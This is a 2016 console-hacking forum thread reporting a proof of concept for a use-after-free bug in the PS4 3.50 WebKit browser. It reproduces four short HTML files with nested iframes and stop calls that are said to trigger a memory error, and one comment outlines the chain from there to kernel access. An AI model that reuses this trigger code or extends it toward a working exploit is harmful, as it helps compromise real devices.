Category PS4 Jailbreaking       Thread starter PSXHAX       Start date May 21, 2016 at 3:38 PM       28,626       49            
Well that didn't take long since news of the PS4 Webkit Exploit for 3.50 broke, with PlayStation 4 developer Hunter128 stepping up to the plate with the heap use-after-free at WebCore 3.50 proof-of-concept! :)

Without further ado, here's what he had to say to quote: Hello. Appears this needs to be posted public.. Not sure who felt the need to want fame for this cough "Qwerty" but that's the last time i am sharing something special like this.

Anyone hoping for advancements for the PS Vita scene you can blame this guy on why because i am no longer sharing anything.

Anywho make an index.html
Code:
<html>
  <body onload='runTest()'>
    <script>
      function runTest(){
       document.writeln('<html></html>');
      }
    </script>
  <iframe src='1.html'></iframe>
  </body>
</html>
1.html
Code:
<html>
  <iframe src='2.html'></iframe>
  <iframe src='3.html'></iframe>
</html>
2.html
Code:
<html>
  <script>
      window.parent.stop();
  </script>
</html>
3.html
Code:
<html>
</html>
Should cause a out of memory error.

Shoutout to no one.. I have no friends :eek:

Greetz to @Plankton in the PSXHAX Shoutbox today for the news!
PS4 Heap Use-After-Free At WebCore 3.50 PoC.jpg
 

Comments

PSXHAX

Staff Member
Moderator
Contributor
Verified
Thanks @proskopina :D

We couldn't do it without all those helping with news in the Shoutbox though... what I normally do is check the Shoutbox from my phone throughout the day, and if there is news then I hop on the PC to post it. :cool:
 

mcmrc1

Senior Member
Contributor
Verified
i think it is in this direction ->

Find a Vuin -> If found like the Memory error -> Check if the Vuln is exploitable -> If so its a good sign -> Next step use a exploit to the vuln for an entry point -> entry point ok -> exploit for userland is needed -> if found -> use exploit for userland to gain kernel access -> now we have Kernel access but another exploit is needed for gain root or run own code....

Just my thinking it can be wrong maybe a dev (Mr Toolchain and Mrs Kernel aka @Chaos Kid aka CFWProphet ^^) could explain if this is ok....^^
 
Recent Articles
New Blu-Play Homebrew Game in Development: The UFO Game!
Following the first Blu-Play homebrew game release and 8-bit Memoirs eBook, the team behind Ukko's Journey is back: LuBlu Entertainment is creating their 2nd Blu-Play game these days, titled The...
Samurai Shodown Joins New PS4 Game Releases Next Week
Thirteen beloved fighters return alongside three new ones to do battle in the legendary stage of Samurai Shodown on PS4 next week, featuring updated graphics, gameplay and a revolutionary new...
Marvel's Spider-Man PS4 Skeletal Models & Textures Tool by ID-Daemon
We've seen PS4 Game Texture Converters, a PS4 Game Model Data & Textures Extraction Guide, a PS4 Game Animations to Havok Files Converter and a PS4 Meshes / Textures Preview GUI with the latest...
Latest PlayStation Store Flash Sale Offers PSN Deals Under $10
It's been awhile since the last PS Store Flash Sale, and today Sony announced their latest PSN Flash Sale features deals under $10 with savings of up to 75% on select PlayStation Store titles...
Top